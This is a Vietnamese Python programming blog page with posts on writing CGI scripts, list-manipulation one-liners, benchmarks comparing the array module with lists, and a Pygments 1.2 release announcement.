Quay lại trình duyệt và làm tươi (F5, hay Ctrl-R), chúng ta sẽ thấy hình như sau:

/static/web-programming/cgi/hellohtml.png

Content-Type là quan trọng

Những gì chúng ta vừa thực hiện là thay đổi nội mà chúng ta xuất ra bộ xuất chuẩn.

Bây giờ, giữ cùng nội dung đấy, nhưng chúng ta thay đổi đầu mục Content-Type thành text/plain.

#!c:/python26/python

print "Content-Type: text/plain"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

Thử xem trang này với các trình duyệt chuẩn ví dụ Opera, hoặc Firefox thì chúng ta sẽ nhận được hình tương tự như sau:

/static/web-programming/cgi/hellohtmlplain.png

Thay vì xử lý những thẻ HTML một cách đặc biệt thì trình duyệt đã không làm như vậy. Và đây là cách làm đúng bởi vì chúng ta nói cho trình duyệt biết rằng nội dung của chúng là ở dạng văn bản thường (plaintext) thông qua đầu mục Content-Type như trên. Trình duyệt IE không tuân theo chuẩn HTTP một cách triệt để nên vẫn sẽ hiển thị nội dung của chúng ta dưới dạng một trang HTML.

Một ít dữ liệu động

Mục đích của chương trình CGI là xử lý và xuất dữ liệu nên sẽ là vô ích nếu chương trình CGI của chúng ta chỉ xuất các trang web tĩnh. Chúng ta sẽ sửa lại chương trình một chút như sau:

#!c:/python26/python

import random

actions = ("rocks", "rules", "kicks butt", "constricts camel")

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		Python %s.
	</body>
</html>""" % random.choice(actions)

Trong chương trình này, chúng ta sử dụng mô-đun random và hàm choice để chọn một hành động ngẫu nhiên. Khi làm tươi trình duyệt, chúng ta có thể gặp các hình tương tự như sau.

/static/web-programming/cgi/dynamic1.png

/static/web-programming/cgi/dynamic2.png

Tóm tắt

Trong kỳ này chúng ta đã được giới thiệu về mô hình hoạt động của giao thức CGI, các yếu tố quan trọng trong một chương trình CGI viết bằng ngôn ngữ Python, một ít kiến thức về giao thức HTTP, và sự đa dạng của thế giới trình duyệt web. Ở kỳ sau chúng ta sẽ tìm hiểu cách nhận dữ liệu từ máy khách qua URL và mẫu đơn (form).

Python One-Liner

written by Phạm Thị Minh Hoài, on Jan 22, 2010 11:30:00 PM.

Python One-Liner là trường phái viết Python trên một dòng. Theo đó mỗi một hành động xác định được viết bởi các lệnh cô đọng gom lại trên một dòng duy nhất. Hành động xác định không phải là những hành động quá phức tạp, nhưng cũng không quá đơn giản. Ví dụ việc trao đổi giá trị giữa hai biến có thể coi là một hành động xác định như vậy. Python cho phép thực hiện điều này trên một dòng với một lệnh duy nhất, và với tôi đó là một trong những lệnh Python đẹp nhất:

>>> a, b = b, a

Python One-Liners cũng chính là tập hợp các mẹo (trick) Python nhằm giải quyết các bài toán nhỏ một cách ngắn gọn theo phương châm “do a lot with a little.”. Điều này thường khó thực hiện ở các ngôn ngữ khác. Nhưng chúng có thể thực hiện được trong Python do đặc trưng ngôn ngữ hỗ trợ cách viết như vậy. Chẳng hạn cách dùng hàm lambda, List Comprehensions, map, filter, zip, dict, set, … đã xây dựng những đặc trưng ngôn ngữ cho phép viết các mã ngắn gọn hơn các ngôn ngữ khác.

Trong bài viết này tôi sẽ tổng hợp một số các bài toán đơn giản mà triển khai Python có thể được viết trên một dòng. Chúng là các bài toán cơ bản có liên quan đến list. Tôi hi vọng những bạn chưa biết về các công thức trong bài này sẽ tìm thấy nhiều điểm lý thú, và qua đó càng hiểu được sức mạnh và sự hấp dẫn tuyệt vời của Python. Các công thức này một số được tôi thường xuyên sử dụng, một số được sưu tầm và các bạn có thể tìm thấy ở đâu đó trên internet.

1. Làm phẳng một list

Cho một list dạng hai chiều như sau: L = \[[1,2,3],[4,5,6], [7], [8,9]\] hãy biến nó thành dạng một chiều dạng [1, 2, 3, 4, 5, 6, 7, 8, 9]. Đây là một số lời giải một dòng của bài toán này:

>>> L = [[1,2,3],[4,5,6], [7], [8,9]]
>>> sum(L, [])
>>> reduce(lambda x, y: x + y, L)
>>> list(itertools.chain(L))  #import itertools.
>>> [item for sublist in L for item in sublist]

Python cung cấp cho bạn một tập hợp phong phú các cú pháp và hàm dựng sẵn cho phép bạn giải cùng một bài toán theo nhiều cách khác nhau. Trong các lời giải trên lời giải cuối cùng là nhanh nhất và nó cũng dễ hiểu nhất. Chi tiết các lời giải trên các bạn có thể xem trên trang: Making a flat list out of list of lists in python. Hàm reduce đã bị loại bỏ kể từ Python 3000 (Suggested by Guido van Rossum), tuy nhiên vẫn được giữa lại trong thư viện functools, do vậy bạn có thể dùng:

>>> functools.reduce(lambda x, y: x + y, L)

Nếu list L không phải là hai chiều, mà có thể chứa các list con đệ quy, bạn có thể dùng hàm sau:

def flatten(seq, a = list()):
    try:                          
        for item in seq:          
            flatten(item, a)      
    except TypeError:             
        a.append(seq)             
    return a

print flatten([[1,2, [3,4], 5], 6, [7, [8, 9]]])

2. Loại bỏ các phần tử trùng nhau trong list

Hãy tạo ra một list mới chứa các phần tử không trùng nhau của L. Một số cách giải trên một dòng:

>>> L = dict.fromkeys(L).keys()  # Python 3.x trả về iterator
>>> L = list(set(L))
>>> [x for i, x in enumerate(L) if i==L.index(x)]

Với L = [5,6,1,1,1,2,2,2,3,3,3] hai lời giải trên cho kết quả [1, 2, 3, 5, 6]. Lời giải cuối cùng cho kết quả [5, 6, 1, 2, 3]. Như vậy trong một số tình huống lời giải cuối cùng tốt hơn, do nó vẫn giữa được thứ tự các phần tử như ban đầu. Tuy vậy lời giải cuối cùng chạy rất chậm. Hãy xem kết quả đo thời gian chạy của các lời giải như sau:

>>> from timeit import Timer
>>> Timer("list(set(L))", "L = range(10**4)").timeit(10)
0.030437396173560671
>>> Timer("dict.fromkeys(L).keys()", "L = range(10**4)").timeit(10)
0.027800167602894277
>>> Timer("[x for i, x in enumerate(L) if i==L.index(x)]", "L = range(10**4)").timeit(10)
25.005568798618903

Việc so sánh thời gian chạy giữa các Python One-Liner rất hay được các tác giả thực hiện. Chúng đánh giá khả năng sử dụng thực tế của mỗi công thức. Lời giải cuối cùng như các bạn thấy dù có ưu điểm song không thể dùng được khi có test xấu trên 10000 phần tử.

3. Đếm số phần tử có trong một list

Nếu chỉ đếm một phần tử thì quá đơn giản, dùng list.count là xong, nhưng nếu để đếm tần số cho nhiều item một lúc thì làm thế nào. Chẳng hạn có L = [5,6,1,1,1,2,2,2,3,3] muốn tạo ra D={5:1, 6:1, 1:3, 2:3, 3:2}.

>>> dict([(x, L.count(x)) for x in set(L)])
>>> {x: L.count(x) for x in set(L)} # dict comprehensions, có từ Python 3.x
>>> collections.Counter(L) # import collections, có từ Python 3.x

Lời giải số một tuy dài nhưng có thể chạy trên hầu hết các bản Python > 2.4. Lời giải số hai chẳng qua là từ 1 ra nhưng với cú pháp mới của Python 3.x nó dễ hiểu và đơn giản hơn. Lời giải cuối cùng đơn giản đến mức bạn chỉ cần có import collections. Module collections chứa các phương tiện cho phép bạn viết các mã Python ngắn gọn, và chạy rất nhanh. Một ví dụ khác về cách dùng Counter trong module collections, đoạn mã này cho phép đếm tần số xuất hiện của các ký tự trong một string:

>>> collections.Counter("abcabca")
Counter({'a': 3, 'c': 2, 'b': 2})

Càng về sau này các phiên bản Python càng hỗ trợ nhiều hơn các cú pháp và thư viện cho phép bạn viết các mã ngắn gọn hơn. Đây là đặc trưng của Python: “Viết ít hơn làm nhiều hơn”. Việc gia tăng hiểu biết của bạn về các thư viện là một kinh nghiệm quan trọng.

4. Chia một list thành nhiều list

Bài toán chia một list thành nhiều list có thể gặp hai yêu cầu:

  1. Chia list thành nhiều list có độ dài bằng nhau
  2. Chia list thành n list con có độ dài tương đương nhau (với khác biệt kích thước nhỏ nhất).

Vấn đề số một có thể giải quyết bằng các hàm sau:

>>> SplitInto=lambda a,n: [a[i*n:(i+1)*n] \
... for i in range(len(a) % n and len(a)/n + 1 or len(a)/n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]

>>> SplitInto = lambda L, n: zip(*[chain(L, repeat(None, n-1))]*n)
>>> SplitInto(range(10), 3)
<zip object at 0x01D607D8>
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]

>>> SplitInto = lambda L, n: zip_longest(*[iter(L)]*n)
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]
>>> SplitInto = lambda L, n: zip_longest(*[iter(L)]*n, fillvalue=-1)
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, -1, -1)]

>>> SplitInto= lambda L, n: [L[i:i+n] for i in range(0, len(L), n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]

Lời giải số 1, 4 dùng cho các phiên bản Python từ 2.3 trở đi. Hai lời giải 2, 3 sau đòi hỏi phải có lệnh from itertools import * và chỉ chạy từ Python 3.x trở đi. Chi tiết về các lời giải này các bạn có thể xem thêm: How do you split a list into evenly sized chunks in Python?

Vấn đề số 2 có thể có lời giải sau:

>>> SplitInto = lambda L, n: [L[i::n] for i in range(n)]
>>> SplitInto(range(10), 3) # SplitInto(list(range(10)), 3) với Python 3.x
[[0, 3, 6, 9], [1, 4, 7], [2, 5, 8]]

Lời giải trên là đơn giản đến mức …không cần tìm thêm các lời giải khác làm gì cho mệt. Tuy nhiên nó không chia theo đúng thứ tự. Đây là cách khác phức tạp hơn nhưng giữa nguyên được thứ tự các phần tử:

>>> SplitInto = lambda L, n: [L[int(i*1.0*len(L)/n):int((i+1)*1.0*len(L)/n)] \
... for i in range(n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8, 9]]
>>> SplitInto(range(10), 2)
[[0, 1, 2, 3, 4], [5, 6, 7, 8, 9]]
>>> SplitInto(range(10), 4)
[[0, 1], [2, 3, 4], [5, 6], [7, 8, 9]]

Cách viết này khá dài, nhưng giữa nguyên được thứ tự giữa các phần tử. Các dòng dài chính là đặc trưng của Python One-liner.

5. Kiểm tra một list là tập con của list khác

Cho hai list a, b. kiểm tra xem a có chứa b hay không. Danh sách a chứa danh sách b nếu tất cả các phần tử của b đều có trong a. Cách giải sau đã có lần tôi trình bày, dùng thư viện operator và hàm built-in reduce, có thể dùng với mọi phiên bản Python 2.x:

>>> a = [1,2,3,4,5]
>>> b = [2,3,6]
>>> c = [2,3,4]
>>> reduce(operator.and_, map(a.__contains__, b))
False
>>> reduce(operator.and_, map(a.__contains__, c))
True

Từ Python 2.4 bạn có thể sử dụng set:

>>> set(a+b) == set(a)
False
>>> set(a+c) == set(a)
True
>>> set(c).issubset(a)
True
>>> set(b).issubset(a)
False
>>> set(c) <= set(a)
True
>>> set(b) <= set(a)
False

Từ Python 2.5 bạn có thể viết:

>>> all([x in a for x in b])
False
>>> all([x in a for x in c])
True

Module operator cung cấp cách dùng các toán tử như các hàm. Trong ví dụ 1 thực tế chúng ta dùng toán tử in thông thường. Các toán tử dùng như các hàm cho phép kết hợp với các hàm built-in khác để viết các lệnh Python rất ngắn gọn và thuận tiện. Một ví dụ (được lấy trong tài liệu Python) tính tích vô hướng hai vector:

sum(map(operator.mul, vector1, vector2))

Thật khó để viết ngắn hơn và chạy nhanh hơn như vậy. Các ví dụ trên càng nói rõ hơn điều tôi đã nhấn mạnh ở mục 3: các phiên bản Python càng về sau càng hỗ trợ tốt hơn việc viết các mã ngắn gọn và hiệu quả. Tuy vậy bạn phải cân nhắc lựa chọn giải pháp đúng cho phiên bản Python mà nó sẽ chạy.

6. Sắp xếp nhiều column

Cho các column a,b,c…có cùng kích thước. Hãy sắp xếp chúng theo thứ tự a,b,c.... Nội dung các dòng không thay đổi. Dưới đây là một ví dụ triển khai với 2 cột a, b:

>>> a = [3,3,2,2,1,1]
>>> b = ["c", "b", "b", "a", "c", "a"]
>>> a, b = zip(*sorted(zip(a, b)))
>>> a
(1, 1, 2, 2, 3, 3)
>>> b
('a', 'c', 'a', 'b', 'b', 'c')

Thật tuyệt!!!. Chúng đơn giản đến mức khó có thể ngắn gọn hơn nữa. Công thức trên trọn vẹn trên một dòng có ít hơn 80 ký tự. Tất cả chỉ có 4 lệnh. Ít nhất nó cũng gây cho tôi nhiều sự phấn khích và ngạc nhiên. Và các bạn sẽ thấy trên nhiều forum Python, việc tìm kiếm các “One-Liner” thực sự là thú vị và là trò chơi hấp dẫn của các Python guru.

7. Tổng kết

Khi kích thước dữ liệu đầu vào lớn một số trong các hàm trả về list trên đây cần được thay thế bằng các hàm trạng thái. Chẳng hạn việc chia một list thành nhiều list bằng nhau nên viết thành hàm trạng thái, sẽ dùng ít bộ nhớ và nhanh hơn:

def SplitInto(a, n):
    start = 0
    end = len(a) % n and len(a)/n + 1 or len(a)/n
    
    while start < end:
        yield a[start * n: (start + 1) * n]
        start += 1

Chuẩn viết mã Python là không quá 80 ký tự trên một dòng. Python One-Liner viết hết các lệnh Python trên một dòng, làm cho các line dài hơn bình thường. Mã Python khó đọc và khó hiểu hơn do cách viết cô đọng, các biến được đặt tên ngắn. Với các bài toán không mang tính cơ bản, các bạn nên hạn chế viết theo cách này.

Các chương trình viết trên một dòng không có nghĩa là nhanh nhất. Thậm chí trong đa số các trường hợp để viết trên một dòng người ta phải chọn cách viết mất nhiều thời gian chạy hơn. Do vậy khi kích thước dữ liệu lớn, tốt hơn hết hãy lựa chọn cách viết tối ưu, và chấp nhận mã dài hơn.

Tôi hi vọng rằng các bạn sẽ thích thú với các ví dụ trên đây. Chắc chắn còn nhiều cách giải khác cho mỗi vấn đề mà tôi đã nêu ra. Nếu các bạn tìm thấy chúng xin hãy vui lòng comment để mọi người cùng biết. Điều sau cùng tôi muốn nhấn mạnh là tuy việc tìm kiếm các lời giải một dòng cho mỗi vấn đề chỉ đơn giản là thú vui, ít mang tính ứng dụng - nhưng chúng thực sự sẽ thúc đẩy việc học hỏi và tìm kiếm kinh nghiệm của chúng ta.

Một số bài tập Python có thể triển khai trên một dòng:

  • Tạo ma trận đơn vị kích thước bất kỳ
  • Triển khai sàng Sieve of Eratosthenes
  • Triển khai dãy số Fibonacci.
  • Tạo một list chứa tất cả các hoán vị của một list khác (các phần tử có thể bằng nhau).

Hoaiptm.

"Efficient arrays" có nhanh hơn list?

written by Phạm Thị Minh Hoài, on Jan 16, 2010 11:20:00 PM.

1. Giới thiệu về “Efficient arrays”

Kiểu dữ liệu list có thể chứa đựng bất kỳ cái gì thuộc bất kỳ cấu trúc nào. Khái niệm về list (hay danh sách) trong Python gần gũi với ý niệm về cái túi (a bag). Một bag có thể chứa bánh kẹo, hoa quả, quần áo,… Điểm khác biệt là list thì có thứ tự, các phần tử được truy cập qua một index duy nhất.

Về điểm này list khác với khái niệm về array - hay mảng trong các ngôn ngữ thông thường khác. Chẳng hạn trong VB.NET một array là một danh sách có thứ tự các phần tử có cùng cấu trúc. Bạn luôn luôn phải chỉ rõ kiểu của phần tử trong mỗi array qua khai báo array of type.

Chính vì list có thể chứa bất kỳ phần tử thuộc bất kỳ cấu trúc nào mà một số thao tác phụ thuộc vào cấu trúc dữ liệu trên mỗi phần tử có thể chậm đi đáng kể. Hay một số thao tác thông thường có sẵn trong các ngôn ngữ khác đã không được triển khai trong Python do kiểu dữ liệu có thể khác nhau giữa các phần tử. Chẳng hạn việc sắp xếp một danh sách sẽ chậm đi do phải xác định chính xác kiểu dữ liệu của mỗi phần tử khi so sánh. Việc đọc một list từ file text hoặc từ một string sẽ không được triển khai bằng các hàm built-in.

Python hỗ trợ bạn tạo ra các list hiệu quả và chặt chẽ hơn bằng khái niệm “Efficient arrays” có trong thư viện array. Tuy nhiên module này chỉ hỗ trợ kiểu dữ liệu số và ký tự. Bạn không thể dùng các “Efficient arrays” cho các string hay boolean.

Ví dụ:

>>> from array import array
>>> array('I', range(10))
array('I', [0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
>>> array.array('u', "hello")
array('u', 'hello')

Ví dụ 1 khai báo một mảng (hay array) các số nguyên unsiged int chứa các giá trị từ 0 đến 9. ‘I’ gọi là type code - một giá trị quy định kiểu của mỗi item trong mảng. Đoạn mã phía sau đó khai báo một array của các ký tự unicode. Dưới đây là danh sách các type code được hỗ trợ trong Python 3.1:

Type codeC TypePython TypeMinimum size in bytes
‘b’signed charint1
‘B’unsigned charint1
‘u’Py_UNICODEUnicode character2 (see note)
‘h’signed shortint2
‘H’unsigned shortint2
‘i’signed intint2
‘I’unsigned intint2
‘l’signed longint4
‘L’unsigned longint4
‘f’floatfloat4
‘d’doublefloat8

Như trong tài liệu Python viết. Kích thước thực sự của một số type code như ‘i’, ‘I’, ‘l’, ‘L’ phụ thuộc vào kiến trúc máy tính triển khai python (thông thường là sự khác biệt giữa kiến trúc 32 bit và 64 bit - xem thêm: Integer - computer science). Kiểu của mỗi phần tử trong mảng chính xác là kiểu của ngôn ngữ C tương ứng trong bảng, vì vậy kích thước của mảng luôn có thể xác định chính xác. Điều này khác với list. Khi nhận được một list rất khó để xác định chính xác kích thước bộ nhớ của nó. Module array có các hàm buffer_info()itemsize cho phép thực hiện điều này. Hàm buffer_info() cho kết quả một tuple chứa địa chỉ bộ nhớ và số phần tử của mảng. Hàm itemsize cho biết kích thước của mỗi phần tử theo byte. Để tính kích thước bộ nhớ mà python cấp phát cho mảng dùng biểu thức: x.buffer_info()[1]*x.itemsize. Ví dụ:

>>> x = array.array('u', "python")
>>> x.itemsize
2
>>> x.buffer_info()
(29756264, 6)
>>> x.buffer_info()[1]*x.itemsize
12

Các mảng quy định rõ kiểu giá trị nó chứa, vì vậy không thể lưu các giá trị vượt phạm vi cho phép hoặc các giá trị không đúng kiểu. Python báo lỗi khi xảy ra sự kiện này:

>>> array.array("L", [2**32])
Traceback (most recent call last):
  File "<interactive input>", line 1, in <module>
OverflowError: python int too large to convert to C unsigned long

>>> array('I', [])
array('I')
>>> array('I', [None])
Traceback (most recent call last):
  File "<interactive input>", line 1, in <module>
TypeError: an integer is required

Trong python 3.* type code ‘c’ không còn được sử dụng do từ Python 3.0 trở đi kiểu dữ liệu string luôn luôn là unicode.

>>> array('c', ['a'])
Traceback (most recent call last):
  File "<interactive input>", line 1, in <module>
ValueError: bad typecode (must be b, B, u, h, H, i, I, l, L, f or d)

Type code ‘u’ cũng sẽ khác nhau về kích thước trên các hệ điều hành khác nhau, khi chúng triển khai UCS2 (2 byte) hoặc UCS4 (4 byte). Để biết máy bạn dùng UCS mấy gõ lệnh sau:

>>> import sys
>>> sys.maxunicode
65535

Đó là UCS2, trên hệ thống mà python được compile với UCS4 kết quả phải lớn hơn.

Module array có hầu hết các phương thức tương tự list:

>>> dir(array('d', []))
['__add__', '__class__', '__contains__', '__copy__', '__deepcopy__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__',
 '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', 
'__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', 
'__subclasshook__', 'append', 'buffer_info', 'byteswap', 'count', 'extend', 'fromfile', 'fromlist', 'fromstring', 'fromunicode', 'index', 
'insert', 'itemsize', 'pop', 'remove', 'reverse', 'tofile', 'tolist', 'tostring', 'tounicode', 'typecode']

Trong danh sách trên ta thấy array không có phương thức sort giống như list. Để sắp xếp các array, bạn có thể dùng hàm sorted. Hàm sorted là hàm built-in, khác với list.sort nó tạo ra list mới và không thay đổi list gốc.

>>> from array import array
>>> example = array('d', [math.pi, math.e, math.log(10)])
>>> sorted(example)
[2.302585092994046, 2.718281828459045, 3.141592653589793]
>>> sorted(example, reverse = True)
[3.141592653589793, 2.718281828459045, 2.302585092994046]

2. “Efficient arrays” nhanh hơn list như nào?

Trong phần này chúng ta sẽ thực hiện một số kiểm tra performance giữa array và list trên một số thao tác điển hình. Chỉ một số thao tác được kiểm tra, kết quả thời gian có thể khác nhau với các phiên bản Python, hay các cấu hình máy khác. Tuy nhiên tôi cố gắng đặt các kiểm tra trong cùng một tập các điều kiện thí nghiệm, và chỉ xem xét tương quan giữa các con số nhằm rút ra một kết luận nào đó.

Đầu tiên là sắp xếp - thao tác cơ bản đặc trưng cho một list.

>>> from timeit import Timer
>>> Timer("a.sort()", "import random;a=list(range(10**4)); \
... random.shuffle(a)").timeit(100)
0.05681145858943637
>>> Timer("sorted(a)", "import random;a=list(range(10**4)); \
... random.shuffle(a)").timeit(100)
0.7554756694498792
>>> Timer("sorted(a)", "import random,array;a=array.array('L', range(10**4));\
... random.shuffle(a)").timeit(100)
0.8100354453472391

Ví dụ trên so sánh thời gian thực hiện của list.sort, sorted trên list, và sorted trên array khi sắp xếp mảng số nguyên 32 bit có 10 ngàn item. Chúng ta thấy thậm chí việc sắp xếp trên mảng bằng hàm sorted chậm hơn nhiều so với trên list.sort trong trường hợp này. Test này được thực hiện trên Python 3.1 với máy Pentium Dual Core 1.7MHz. Trên các phiên bản Python 2.x bạn chỉ cần viết a=range(104) thay vì a = list(range(104)) Tiếp tục khảo sát với số phần tử đến 100 ngàn, 1 triệu, 10 triệu phần tử:

>>> Timer("a.sort()", "import random;a=range(10**5);random.shuffle(a)").timeit(100)
1.0628812891800408
>>> Timer("sorted(a)", "import random;a=range(10**5);random.shuffle(a)").timeit(100)
13.890136599318794
>>> Timer("sorted(a)", "import random,array;a=array.array('L', range(10**5));\
... random.shuffle(a)").timeit(100)
14.082001048258462

>>> Timer("a.sort()", "import random;a=range(10**6);random.shuffle(a)").timeit(1)
1.8611051722955381
>>> Timer("sorted(a)", "import random;a=range(10**6);random.shuffle(a)").timeit(1)
1.9412927927796773
>>> Timer("sorted(a)", "import random,array;a=array.array('L', range(10**6));\
... random.shuffle(a)").timeit(1)
2.2266062190747107

>>> Timer("a.sort()", "import random;a=range(10**7);random.shuffle(a)").timeit(1)
25.894550537010218
>>> Timer("sorted(a)", "import random;a=range(10**7);random.shuffle(a)").timeit(1)
26.986440155994387
>>> Timer("sorted(a)", "import random,array;a=array.array('L', range(10**7));\
... random.shuffle(a)").timeit(1)
30.602503383151088

Hàm sort của list là in-place vì vậy nó nhanh hơn sorted do không phải thực hiện các thao tác cấp phát bộ nhớ để tạo list mới như sorted. Nó nhanh hơn đáng kể khi số phần tử là nhỏ. Trong test trên đây là khoảng 13 lần với 10 ngàn item và 100 ngàn item. Số các thao tác cấp phát bộ nhớ tăng tuyến tính theo số phần tử, trong khi số các phép so sánh tăng theo n*logn (hoặc nếu tốt hơn n*loglogn). Vì vậy khi tăng số lượng các item thì số các phép so sánh tăng nhanh hơn số các thao tác cấp phát bộ nhớ. Ở trên 1 triệu phần tử các phép toán so sánh chiếm đa số thời gian xử lý. Ta có thể thấy thời gian thực thi ở các hàm là tương đương nhau. Trên mức 10 triệu phần tử sự khác biệt không còn đáng kể nữa.

Hàm sorted thực thi trên array thường sẽ chậm hơn trên list trong sai khác thời gian tương đối nhỏ. Nguyên nhân có thể được giải thích là do sorted không tạo ra một array mà luôn luôn tạo ra một list. Rõ ràng sorted trên một array nhưng trả lại list sẽ chậm hơn khi sorted trên list trả lại list. Các Efficient arrays muốn nhanh hơn list thực sự cần một sort của riêng chúng.

Chuyển qua các thao tác khác với list. Chẳng hạn với hàm sum một list các số nguyên

>>> Timer("sum(x)", "x=range(1000)").timeit(10000)
0.60629310370359235
>>> Timer("sum(x)", "import array; x = array.array('d', range(1000))").timeit(10000)
0.74805731663627739

>>> Timer("sum(x)", "x=range(10000)").timeit(1000)
0.60768722812650822
>>> Timer("sum(x)", "import array; x = array.array('d', range(10000))").timeit(1000)
0.75720026176844613

>>> Timer("sum(x)", "x=range(10**5)").timeit(100)
1.1360591999478515
>>> Timer("sum(x)", "import array; x = array.array('d', range(10**5))").timeit(100)
0.73434230670147826

>>> Timer("sum(x)", "x=range(10**6)").timeit(10)
1.9724225132735
>>> Timer("sum(x)", "import array; x = array.array('d', range(10**6))").timeit(10)
0.73678350503251977

>>> Timer("sum(x)", "x=range(10**7)").timeit(10)
20.701364808722474
>>> Timer("sum(x)", "import array; x = array.array('d', range(10**7))").timeit(10)
7.399070781130149

Hàm sum với array chậm hơn khi số phần tử nhỏ và càng ngày càng nhanh hơn khi số phần tử lớn hơn. Test sau đây cũng chỉ ra join các string là nhanh hơn hàm tounicode của array.

>>> array('u', map(chr, range(65, 90))).tounicode()
'ABCDEFGHIJKLMNOPQRSTUVWXY'
>>> "".join(map(chr, range(65, 90)))
'ABCDEFGHIJKLMNOPQRSTUVWXY'
>>> Timer("array.array('u', map(chr, range(65, 90))).tounicode()", "import array").timeit()
14.721977927611988
>>> Timer("''.join(map(chr, range(65, 90)))", "").timeit()
8.788942485645748

Để loại bỏ các phần tử trùng nhau của một list từ python 2.4 trở đi bạn có thể dùng lệnh L = list(set(L)). Ví dụ:

>>> list(set([5,5,1,2,3,2,3]))
[1, 2, 3, 5]
>>> array('L', set([1,2,3,1,2,3]))
array('L', [1, 2, 3])

Ví dụ sau so sánh thời gian loại trùng của array và list sử dụng cú pháp này:

>>> Timer("array('L', set(x))", "from array import array; \
...  x = array('L', range(10**5))").timeit(10)
0.3053085107321749
>>> Timer("list(set(x))", "x = range(10**5)").timeit(10)
0.25598173543039593

>>> Timer("array('L', set(x))", "from array import array; \
... x = array('L', range(10**6))").timeit(10)
3.901955860623275
>>> Timer("list(set(x))", "x = range(10**6)").timeit(10)
2.275834090902208

>>> Timer("array('L', set(x))", "from array import array; \
... x = array('L', range(10**7))").timeit(1)
3.823739795026995
>>> Timer("list(set(x))", "x = range(10**7)").timeit(1)
2.216846163641094

Như vậy sử dụng array sẽ không hiệu quả bằng list trong tình huống này.

Việc đảo ngược một list cũng luôn luôn nhanh hơn đảo ngược một array. Ví dụ:

>>> Timer("x.reverse()", "x = range(10**7)").timeit(10)
0.30343171366575916
>>> Timer("x.reverse()", "import array; x = array.array('L', range(10**7))").timeit(10)
4.0138636612646224

Trên python 3.* bạn phải viết x = list(range(107)) do hàm range trong python 3.* trả về iterator chứ không phải list.

Với phép toán nhân list lại chậm hơn array. Ví dụ:

>>> Timer("100000*x", "from array import array; \
... x=array('u', u'hello world')").timeit(10)
0.077855393644313153
>>> Timer("100000*x", "x=list(u'hello world')").timeit(10)
0.20222266310884152

Dùng array sẽ kỳ hiệu quả hơn trong phép cộng:

>>> Timer("x + y", "from array import array;\
... x=array('L', range(10*7));y=x[:]").timeit(100)
0.00019484576660033781
>>> Timer("x + y", "x=range(10*7);y=x[:]").timeit(100)
0.0005318282637745142
>>> Timer("x + y", "from array import array;\
... x=array('L', range(1000));y=x[:]").timeit()
2.354171564954413
>>> Timer("x + y", "x=range(1000);y=x[:]").timeit()
20.363064586337714

Như vậy là không phải lúc nào array cũng nhanh hơn list. Ít nhất là trong thao tác đảo ngược mảng và sắp xếp. Trong hầu hết các tính toán với danh sách kích thước nhỏ, dùng list sẽ tiện và nhanh hơn.

Pygments 1.2 với kiểu Monokai

written by Nguyễn Thành Nam, on Jan 5, 2010 5:36:05 PM.

Ngày 01 tháng 01 năm 2010 (ngày đầu năm mới 2010), Georg Brandl đã công bố phiên bản 1.2, tên gọi Neujahr của gói Pygments.

Pygments là thư viện làm sáng cú pháp (syntax highlighter) tổng quát, và được sử dụng để tô điểm cho các phần mã nguồn ở chính trang PCNV này.

Người dùng có thể tải Pygments từ http://pypi.python.org/pypi/Pygments, hoặc xem qua một số ví dụ tại http://pygments.org/demo.

Phiên bản 1.2 không còn tương thích với Python 2.3, có hỗ trợ thêm một số cú pháp mới, và đặc biệt là thêm vào kiểu màu Monokai như các bạn có thể thấy tại trang PCNV.